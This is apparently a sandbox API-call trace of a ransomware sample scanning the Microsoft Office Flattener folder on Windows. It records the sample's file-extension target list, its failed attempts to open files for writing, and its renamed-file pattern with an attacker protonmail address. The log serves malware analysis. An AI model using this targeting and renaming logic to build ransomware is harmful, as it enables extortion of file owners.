	[0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.050] lstrlenW (lpString=".jpg") returned 4
	[0187.050] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0187.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.050] lstrlenW (lpString=".doc") returned 4
	[0187.050] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0187.050] lstrlenW (lpString=".docx") returned 5
	[0187.050] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0187.050] lstrlenW (lpString=".pdf") returned 4
	[0187.050] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0187.050] lstrlenW (lpString=".xls") returned 4
	[0187.050] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0187.050] lstrlenW (lpString=".xlsx") returned 5
	[0187.050] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0187.050] lstrlenW (lpString=".ppt") returned 4
	[0187.050] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0187.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.050] lstrlenW (lpString=".zip") returned 4
	[0187.050] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0187.050] lstrlenW (lpString=".rar") returned 4
	[0187.050] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0187.050] lstrlenW (lpString=".bz2") returned 4
	[0187.050] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0187.050] lstrlenW (lpString=".7z") returned 3
	[0187.051] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0187.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.051] lstrlenW (lpString=".dbf") returned 4
	[0187.051] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0187.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.051] lstrlenW (lpString=".1cd") returned 4
	[0187.051] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0187.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0187.051] lstrlenW (lpString=".jpg") returned 4
	[0187.051] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0187.051] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.051] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27
	[0187.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.052] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=96472) returned 1
	[0187.052] CloseHandle (hObject=0x5c4) returned 1
	[0187.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220
	[0187.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.053] lstrlenW (lpString=".doc") returned 4
	[0187.053] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.053] lstrlenW (lpString=".docx") returned 5
	[0187.053] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0187.053] lstrlenW (lpString=".pdf") returned 4
	[0187.053] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.053] lstrlenW (lpString=".xls") returned 4
	[0187.053] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.053] lstrlenW (lpString=".xlsx") returned 5
	[0187.053] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0187.053] lstrlenW (lpString=".ppt") returned 4
	[0187.053] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.053] lstrlenW (lpString=".zip") returned 4
	[0187.053] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.053] lstrlenW (lpString=".rar") returned 4
	[0187.053] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.053] lstrlenW (lpString=".bz2") returned 4
	[0187.053] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.053] lstrlenW (lpString=".7z") returned 3
	[0187.054] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.054] lstrlenW (lpString=".dbf") returned 4
	[0187.054] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.054] lstrlenW (lpString=".1cd") returned 4
	[0187.054] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.054] lstrlenW (lpString=".jpg") returned 4
	[0187.054] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.054] lstrlenW (lpString=".doc") returned 4
	[0187.054] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.054] lstrlenW (lpString=".docx") returned 5
	[0187.054] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0187.054] lstrlenW (lpString=".pdf") returned 4
	[0187.054] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.054] lstrlenW (lpString=".xls") returned 4
	[0187.054] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.054] lstrlenW (lpString=".xlsx") returned 5
	[0187.054] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0187.054] lstrlenW (lpString=".ppt") returned 4
	[0187.054] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.054] lstrlenW (lpString=".zip") returned 4
	[0187.054] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.055] lstrlenW (lpString=".rar") returned 4
	[0187.055] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.055] lstrlenW (lpString=".bz2") returned 4
	[0187.055] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.055] lstrlenW (lpString=".7z") returned 3
	[0187.055] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.055] lstrlenW (lpString=".dbf") returned 4
	[0187.055] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.055] lstrlenW (lpString=".1cd") returned 4
	[0187.055] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0187.055] lstrlenW (lpString=".jpg") returned 4
	[0187.055] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.055] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.055] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36
	[0187.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.056] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=49368) returned 1
	[0187.056] CloseHandle (hObject=0x5c4) returned 1
	[0187.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220
	[0187.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.057] lstrlenW (lpString=".doc") returned 4
	[0187.057] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.057] lstrlenW (lpString=".docx") returned 5
	[0187.323] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0187.323] lstrlenW (lpString=".pdf") returned 4
	[0187.323] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.323] lstrlenW (lpString=".xls") returned 4
	[0187.323] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.323] lstrlenW (lpString=".xlsx") returned 5
	[0187.323] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0187.323] lstrlenW (lpString=".ppt") returned 4
	[0187.323] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.323] lstrlenW (lpString=".zip") returned 4
	[0187.323] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.323] lstrlenW (lpString=".rar") returned 4
	[0187.323] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.323] lstrlenW (lpString=".bz2") returned 4
	[0187.323] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.323] lstrlenW (lpString=".7z") returned 3
	[0187.323] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.323] lstrlenW (lpString=".dbf") returned 4
	[0187.323] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.323] lstrlenW (lpString=".1cd") returned 4
	[0187.324] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.324] lstrlenW (lpString=".jpg") returned 4
	[0187.324] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.324] lstrlenW (lpString=".doc") returned 4
	[0187.324] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.324] lstrlenW (lpString=".docx") returned 5
	[0187.324] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0187.324] lstrlenW (lpString=".pdf") returned 4
	[0187.324] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.324] lstrlenW (lpString=".xls") returned 4
	[0187.324] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.324] lstrlenW (lpString=".xlsx") returned 5
	[0187.324] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0187.324] lstrlenW (lpString=".ppt") returned 4
	[0187.324] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.324] lstrlenW (lpString=".zip") returned 4
	[0187.324] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.324] lstrlenW (lpString=".rar") returned 4
	[0187.324] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.324] lstrlenW (lpString=".bz2") returned 4
	[0187.324] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.325] lstrlenW (lpString=".7z") returned 3
	[0187.325] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.325] lstrlenW (lpString=".dbf") returned 4
	[0187.325] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.325] lstrlenW (lpString=".1cd") returned 4
	[0187.325] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0187.325] lstrlenW (lpString=".jpg") returned 4
	[0187.325] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.325] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.325] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Packager.dll") returned 39
	[0187.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0187.390] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=132800) returned 1
	[0187.390] CloseHandle (hObject=0x5b4) returned 1
	[0187.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220
	[0187.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.991] lstrlenW (lpString=".doc") returned 4
	[0187.991] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.991] lstrlenW (lpString=".docx") returned 5
	[0187.991] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0187.991] lstrlenW (lpString=".pdf") returned 4
	[0187.991] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.991] lstrlenW (lpString=".xls") returned 4
	[0187.991] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.991] lstrlenW (lpString=".xlsx") returned 5
	[0187.991] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0187.991] lstrlenW (lpString=".ppt") returned 4
	[0187.991] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.991] lstrlenW (lpString=".zip") returned 4
	[0187.991] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.991] lstrlenW (lpString=".rar") returned 4
	[0187.991] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.991] lstrlenW (lpString=".bz2") returned 4
	[0187.991] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.992] lstrlenW (lpString=".7z") returned 3
	[0187.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.992] lstrlenW (lpString=".dbf") returned 4
	[0187.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.992] lstrlenW (lpString=".1cd") returned 4
	[0187.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.992] lstrlenW (lpString=".jpg") returned 4
	[0187.992] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.992] lstrlenW (lpString=".doc") returned 4
	[0187.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.992] lstrlenW (lpString=".docx") returned 5
	[0187.992] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0187.992] lstrlenW (lpString=".pdf") returned 4
	[0187.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.992] lstrlenW (lpString=".xls") returned 4
	[0187.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.992] lstrlenW (lpString=".xlsx") returned 5
	[0187.992] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0187.992] lstrlenW (lpString=".ppt") returned 4
	[0187.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.992] lstrlenW (lpString=".zip") returned 4
	[0187.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.992] lstrlenW (lpString=".rar") returned 4
	[0187.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.993] lstrlenW (lpString=".bz2") returned 4
	[0187.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.993] lstrlenW (lpString=".7z") returned 3
	[0187.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.993] lstrlenW (lpString=".dbf") returned 4
	[0187.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.993] lstrlenW (lpString=".1cd") returned 4
	[0187.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0187.993] lstrlenW (lpString=".jpg") returned 4
	[0187.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.993] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.993] lstrlenW (lpString="msvcr120.dll") returned 12
	[0187.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0188.319] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=968880) returned 1
	[0188.319] CloseHandle (hObject=0x5c8) returned 1
	[0188.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll")) returned 0x220
	[0188.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.320] lstrlenW (lpString=".doc") returned 4
	[0188.320] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.320] lstrlenW (lpString=".docx") returned 5
	[0188.320] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.320] lstrlenW (lpString=".pdf") returned 4
	[0188.320] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.320] lstrlenW (lpString=".xls") returned 4
	[0188.320] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.320] lstrlenW (lpString=".xlsx") returned 5
	[0188.320] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.320] lstrlenW (lpString=".ppt") returned 4
	[0188.320] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.320] lstrlenW (lpString=".zip") returned 4
	[0188.320] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.320] lstrlenW (lpString=".rar") returned 4
	[0188.320] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.320] lstrlenW (lpString=".bz2") returned 4
	[0188.320] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.321] lstrlenW (lpString=".7z") returned 3
	[0188.321] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.321] lstrlenW (lpString=".dbf") returned 4
	[0188.321] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.321] lstrlenW (lpString=".1cd") returned 4
	[0188.321] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.321] lstrlenW (lpString=".jpg") returned 4
	[0188.321] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.321] lstrlenW (lpString=".doc") returned 4
	[0188.321] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.321] lstrlenW (lpString=".docx") returned 5
	[0188.321] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.321] lstrlenW (lpString=".pdf") returned 4
	[0188.321] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.321] lstrlenW (lpString=".xls") returned 4
	[0188.321] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.321] lstrlenW (lpString=".xlsx") returned 5
	[0188.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.321] lstrlenW (lpString=".ppt") returned 4
	[0188.321] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.321] lstrlenW (lpString=".zip") returned 4
	[0188.321] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.322] lstrlenW (lpString=".rar") returned 4
	[0188.322] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.322] lstrlenW (lpString=".bz2") returned 4
	[0188.322] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.322] lstrlenW (lpString=".7z") returned 3
	[0188.322] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.322] lstrlenW (lpString=".dbf") returned 4
	[0188.322] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
